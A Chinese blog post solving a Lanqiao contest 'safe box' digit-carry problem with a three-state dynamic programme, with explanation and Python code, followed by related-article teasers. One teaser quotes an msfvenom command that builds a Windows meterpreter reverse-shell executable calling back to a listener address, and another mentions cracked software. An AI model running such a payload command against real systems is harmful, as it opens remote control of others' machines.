蓝桥:保险箱(Python,动态规划)

news2024/11/25 22:50:58

问题描述:

小蓝有一个保险箱,保险箱上共有 n 位数字。小蓝可以任意调整保险箱上的每个数字,每一次操作可以将其中一位增加 1 或减少 1。当某位原本为 9 或 0 时可能会向前(左边)进位/退位,当最高位(左边第一位)上的数字变化时向前的进位或退位忽略。

例如:
00000 的第 5 位减 1 变为 99999;
99999 的第 5 位减 1 变为 99998;
00000的第 4 位减 1 变为 99990;
97993 的第 4 位加 1 变为 98003;
99909 的第 3 位加 1 变为 00009。

保险箱上一开始有一个数字 x,小蓝希望把它变成 y,这样才能打开它,问小蓝最少需要操作的次数。

输入格式
输入的第一行包含一个整数 n。第二行包含一个 n 位整数 x。第三行包含一个 n 位整数 y。

输出格式
输出一行包含一个整数表示答案。

数据范围
对于 30% 的评测用例,1≤n≤300;
对于 60% 的评测用例,1≤n≤3000;
对于所有评测用例,1≤n≤105,x,y 中仅包含数字 0 至 9,可能有前导零。

输入样例:

5
12349
54321

输出样例:

11

思路:

又是一道省赛且没有完全AC的题,这道题刚开始压根没往动态规划方面想,结果是一个二维dp数组,其中一维表示3种状态,未进位,进位和退位状态。

下面进行分析:
分析题目发现每变动一位数字,只会影响左边的一个数。如果此时该位的数没有发生进位的话,左边的一个数就不会发生变动的;如果当前该位的数是通过加法进位的话,那么左边的一位数字就会加1;如果当前该位的数是通过减法进位的话,那么左边的一位数字就会减1。

所以发现当前一位数字是否发生变动是取决于后一位数字的变动,所以定义三种状态:

  1. 右边的数字没有发生进位
  2. 右边数字通过加法发生了进位
  3. 右边的数字通过减法发生了进位。

动规五部曲:

  1. 定义dp数组:

dp[i][0],dp[i][1],dp[i][2] 分别表示当前位没有发生进位、当前位通过加法发生进位和当前位通过减法发生进位需要操作的最少次数

  1. 递推公式:

接下来关键之处就是状态计算了,由于操作当前位并不影响右边的数,所以从右向左进行状态计算(用x表示第一个字符串当前位的数字,用y表示第二个字符串当前位的数字):

  • 当前位的数没有发生进位dp[i][0]

    1)如果右边的数操作完了之后当前位没有发生改变,那么:

    当前位不进位需要操作的次数即为:dp[i][0] = dp[i + 1][0] + abs(x - y)

    2)如果右边的数操作完了之后当前位增大了一位,那么:

    当前位不进位需要操作的次数即为:dp[i][0] = dp[i + 1][1] + abs(x + 1 - y)
    因为发生了进位,所以x要加1

    3)如果右边的数操作完了之后当前位减小了一位,那么:

    当前位不进位需要操作的次数即为:dp[i][0] = dp[i + 1][2] + abs(x - 1 - y)
    因为发生了退位,所以x要减1

    综上:dp[i][0] = min(dp[i + 1][0] + abs(x - y),dp[i + 1][1] + abs(x + 1 - y), dp[i + 1][2] + abs(x - 1 - y))

  • 当前位的数通过加法进位dp[i][1]

    1)如果右边的数操作完了之后当前位没有发生改变,那么:

    当前位通过加法进位需要操作的次数即为:dp[i][1] = dp[i + 1][0] + abs(10 - (x - y))
    如果x为2,y为8,则发生进位的情况是abs(10 -(2 - 8)) = 16,2进位到8需要加16

    2)如果右边的数操作完了之后当前位增大了一位,那么:

    当前位通过加法进位需要操作的次数即为:dp[i][1] = dp[i + 1][1] + abs(10 - (x + 1 - y))

    3)如果右边的数操作完了之后当前位减小了一位,那么:

    当前位通过加法进位需要操作的次数即为:dp[i][1] = dp[i + 1][2] + abs(10 - (x - 1 - y))

    综上:dp[i][1] = min(dp[i + 1][0] + abs(10 - (x - y)),dp[i + 1][1] + abs(10 - (x + 1 - y)), dp[i + 1][2] + abs(10 - (x - 1 - y)))

  • 当前位的数通过减法进位

    1)如果右边的数操作完了之后当前位没有发生改变,那么:

    当前位通过减法进位需要操作的次数即为:dp[i][2] = dp[i + 1][0] + abs(10 + (x - y))
    如果x为2,y为8,则发生退位的情况是abs(10 +(2 - 8)) = 4,2退位到8需要减4

    2)如果右边的数操作完了之后当前位增大了一位,那么:

    当前位通过减法进位需要操作的次数即为:dp[i][2] = dp[i + 1][1] + abs(10 + (x + 1 - y))

    3)如果右边的数操作完了之后当前位减小了一位,那么:

    当前位通过减法进位需要操作的次数即为:dp[i][2] = dp[i + 1][2] + abs(10 + (x - 1 - y))

    综上:dp[i][2] = min(dp[i + 1][0] + abs(10 + (x - y)),dp[i + 1][1] + abs(10 + (x + 1 - y)), dp[i + 1][2] + abs(10 + (x - 1 - y)))

  1. dp数组如何初始化:

因为递推公式是从右往左计算,所以

# 初始化最后一个位置的 dp 值
dp[n - 1][0] = abs(a[n - 1] - b[n - 1])  
dp[n - 1][1] = abs(10 - (a[n - 1] - b[n - 1])) 
dp[n - 1][2] = abs(10 + (a[n - 1] - b[n - 1]))  

  1. dp数组遍历顺序:

因为递推公式是从右往左计算,所以从右往左遍历

# 从倒数第二个位置开始向前遍历
for i in range(n - 2, -1, -1):
  1. 打印dp数组:

999 变到 321
上方表示状态
左侧表示数的索引值
如图:
在这里插入图片描述
最终答案为min(dp[0][0], dp[0][1], dp[0][2])

代码及详细注释:

# 读取输入的整数 n,表示数组的长度
n = int(input())
# 读取输入的两个整数列表 a 和 b,分别表示两个数组
a = list(map(int, input()))  # 将输入的字符串映射为整数列表
b = list(map(int, input()))  # 将输入的字符串映射为整数列表

# dp[i][j] 表示到达位置 i 时,使得 a[i] 的数字与 b[i] 的数字相等的最小操作次数,
# 其中 j 可能取值为 0、1、2,分别表示 a[i] - b[i] 等于 0、1、-1。
dp = [[0, 0, 0] for _ in range(n)]

# 初始化最后一个位置的 dp 值
dp[n - 1][0] = abs(a[n - 1] - b[n - 1])  
dp[n - 1][1] = abs(10 - (a[n - 1] - b[n - 1])) 
dp[n - 1][2] = abs(10 + (a[n - 1] - b[n - 1]))  

# 从倒数第二个位置开始向前遍历
for i in range(n - 2, -1, -1):
    x = a[i]
    y = b[i]

    # 计算当前位置的 dp 值
    dp[i][0] = dp[i + 1][0] + abs(x - y)  
    dp[i][0] = min(dp[i][0], dp[i + 1][1] + abs(x + 1 - y))  
    dp[i][0] = min(dp[i][0], dp[i + 1][2] + abs(x - 1 - y))  

    dp[i][1] = dp[i + 1][0] + abs(10 - (x - y))  
    dp[i][1] = min(dp[i][1], dp[i + 1][1] + abs(10 - (x + 1 - y)))  
    dp[i][1] = min(dp[i][1], dp[i + 1][2] + abs(10 - (x - 1 - y)))  

    dp[i][2] = dp[i + 1][0] + abs(10 + (x - y))  
    dp[i][2] = min(dp[i][2], dp[i + 1][1] + abs(10 + (x + 1 - y)))  
    dp[i][2] = min(dp[i][2], dp[i + 1][2] + abs(10 + (x - 1 - y)))  

# 输出最小操作次数
print(min(dp[0][0], dp[0][1], dp[0][2]))

总结:

省赛10分的题,结果写了半天ac了25%,拿了3分,之后看到类似的题分析到状态就要考虑是否能用dp来解决。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1522835.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如果要做优化,CSS提高性能的方法有哪些?

文章目录 一、前言二、实现方式内联首屏关键CSS异步加载CSS资源压缩合理使用选择器减少使用昂贵的属性不要使用import其他 三、总结参考文献 一、前言 每一个网页都离不开css,但是很多人又认为,css主要是用来完成页面布局的,像一些细节或者优…

加密算法详解

加密学的发展和应用 计算机加密学的发展历程可以大致分为以下几个阶段: 古典密码学时期(古代至20世纪初): 在古代,人们就已经开始使用简单的加密技术来保护通信内容,例如凯撒密码、维吉尼亚密码等。到了近…

渗透测试框架权限维持技术——Persistence模块

测试环境: kali win7 测试步骤: 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址(kali地址) lport 监听端口&#xf…

MQ 延迟队列

MQ 延迟队列 1. 前言 延迟队列是我们日常开发过程中,经常接触并需要使用到的一种技术方案。前些时间在开发业务需求时,我也遇到了一个需要使用到延迟消息队列的需求场景,因此我也在网上调研了一系列不同的延迟队列的实现方案,在…

计算机网络----计算机网络的基础

目录 一.计算机网络的相关概念 二.计算机网络的功能 三.计算机网络的发展 四.计算机网络的组成 五.计算机网络的分类 六.计算机的性能指标 1.速率 2.带宽 3.吞吐量 4.时延 5.时延带宽积 6.往返时延RTT 7.利用率 七.计算机的分层结构 八.ISO/OSI参考模型 九.OSI…

Word粘贴时出现“运行时错误53,文件未找到:MathPage.WLL“的解决方案

在安装完MathType后,打开word复制粘贴时报错“运行时错误53,文件未找到:MathPage.WLL” 首先确定自己电脑的位数(这里默认32位) 右击MathType桌面图标,点击“打开文件所在位置”, 然后分别找到MathPage.W…

RabbitMQ高级-高级特性

1.消息可靠性传递 在使用RabbitMQ的时候,作为消息发送方希望杜绝任何消息丢失或者投递失败场景。RabbitMQ为我们提供了两种方式来控制消息的投递可靠性模式 1.confirm 确认模式 确认模式是由exchange决定的 2.return 退回模式 回退模式是由routing…

Webapi(.net6) 批量服务注册

如果不考虑第三方库,如Autofac这种进行服务注入,通过本身的.Core Weabpi实现的,总结了两种实现方法, 1.一种是参考abp框架里面的形式; 1.1 新建个生命周期的文件夹: 三个接口分别为: public interface IScopedDependency { }pu…

机器学习周报第33周

目录 摘要Abstract一、文献阅读1.1 论文标题1.2 论文摘要1.3 论文背景1.4 过去研究1.5 论文介绍1.5.1 论文模型1.5.2 时空交互学习模块(Spatiotemporal Interactive Learning Module)1.5.3 动态图推理模块(Dynamic Graph Inference Module&am…

Uniapp有奖猜歌游戏系统源码,附带流量主

有奖猜歌游戏是一款基于uni-app、uniCloud、uniAD 开发的小游戏,通过猜歌曲、观看广告赚取现金奖励。 游戏基本特征 玩家可以通过猜歌、做任务等方式直接获取现金奖励 玩家可以通过猜歌、拆红包、做任务等方式获取金币奖励,当金币累积到一定数量可以兑…

C++之类和对象(3)

目录 1. 再谈构造函数 1.1 构造函数体赋值 1.2 初始化列表 1.3 explicit 2. static成员 2.1 概念 3. 友元 3.1 友元函数 3.2 友元类 4. 内部类 5. 匿名对象 6. 拷贝对象时编译器做出的优化 1. 再谈构造函数 1.1 构造函数体赋值 class Date { public:Date(int year2024…

实现界面跳转及注册界面编写(AndroidStudio)

目录 一、代码 二、最后效果 一、代码 1.先新建一个activity文件 2.注册界面的代码如下&#xff1a; <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"android:la…

(附数据集)基于lora参数微调Qwen1.8chat模型的实战教程

基于lora微调Qwen1.8chat的实战教程 日期&#xff1a;2024-3-16作者&#xff1a;小知运行环境&#xff1a;jupyterLab描述&#xff1a;基于lora参数微调Qwen1.8chat模型。 样例数据集 - qwen_chat.json&#xff08;小份数据&#xff09; - chat.json&#xff08;中份数据&…

Tuxera NTFS 2023安装使用教程 Tuxera NTFS破解版 Tuxera NTFS for Mac优惠

对于必须在Windows电脑和Mac电脑之间来回切换的Mac朋友来说&#xff0c;跨平台不兼容一直是一个巨大的障碍&#xff0c;尤其是当我们需要使用NTFS格式的硬盘在Windows和macOS之间共享文件时。因为Mac默认不支持写入NTFS磁盘。 为了解决这一问题&#xff0c;很多朋友会选择很便捷…

vscode插件开发-发布插件

安装vsce vsce是“Visual Studio Code Extensions”的缩写&#xff0c;是一个用于打包、发布和管理VS Code扩展的命令行工具。 确保您安装了Node.js。然后运行&#xff1a; npm install -g vscode/vsce 您可以使用vsce轻松打包和发布扩展&#xff1a; // 打包插件生成name…

RansomwareSim:一款功能强大的勒索软件模拟研究学习工具

关于RansomwareSim RansomwareSim是一款功能强大的勒索软件模拟研究学习工具&#xff0c;该工具是为网络安全教育和培训目的开发的模拟勒索软件应用程序&#xff0c;它旨在为广大研究人员演示勒索软件如何加密系统上的文件并与命令和控制服务器通信&#xff0c;以更好地了解勒…

“一键解锁复古魅力:底片效果瞬间生成!“

时光荏苒&#xff0c;岁月如梭。你是否曾怀念那些旧时光里&#xff0c;老照片所散发出的独特韵味&#xff1f;那种历经岁月沉淀的底片效果&#xff0c;仿佛能带我们回到那些被遗忘的角落&#xff0c;重温那些温馨的瞬间。 首先第一步&#xff0c;我们要进入视频剪辑高手&#…

java数据结构与算法刷题-----LeetCode376. 摆动序列

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 文章目录 1. 贪心2. 动态规划3. 优化版动态规划 1. 贪心 解题思路&#x…

【强化学习笔记一】初识强化学习(定义、应用、分类、性能指标、小车上山案例及代码)

文章目录 第1章 初识强化学习1.1 强化学习及其关键元素1.2 强化学习的应用1.3 强化学习的分类1.3.1 按任务分类1.3.2 按算法分类 1.4 强化学习算法的性能指标1.5 案例&#xff1a;基于Gym库的智能体/环境接口1.5.1 安装Gym库1.5.2 使用Gym库1.5.3 小车上山1.5.3.1 有限动作空间…

软考80-上午题-【面向对象技术3-设计模式】-结构型设计模式03

一、外观模式 1-1、意图 为子系统中的一组接口提供一个一致的界面。 Facade 模式定义了一个高层接口&#xff0c;这个接口使得这一子系统更加容易使用。 1-2、结构 Facade 知道哪些子系统类负责处理请求&#xff1a;将客户的请求代理给适当的子系统对象。Subsvstem classes …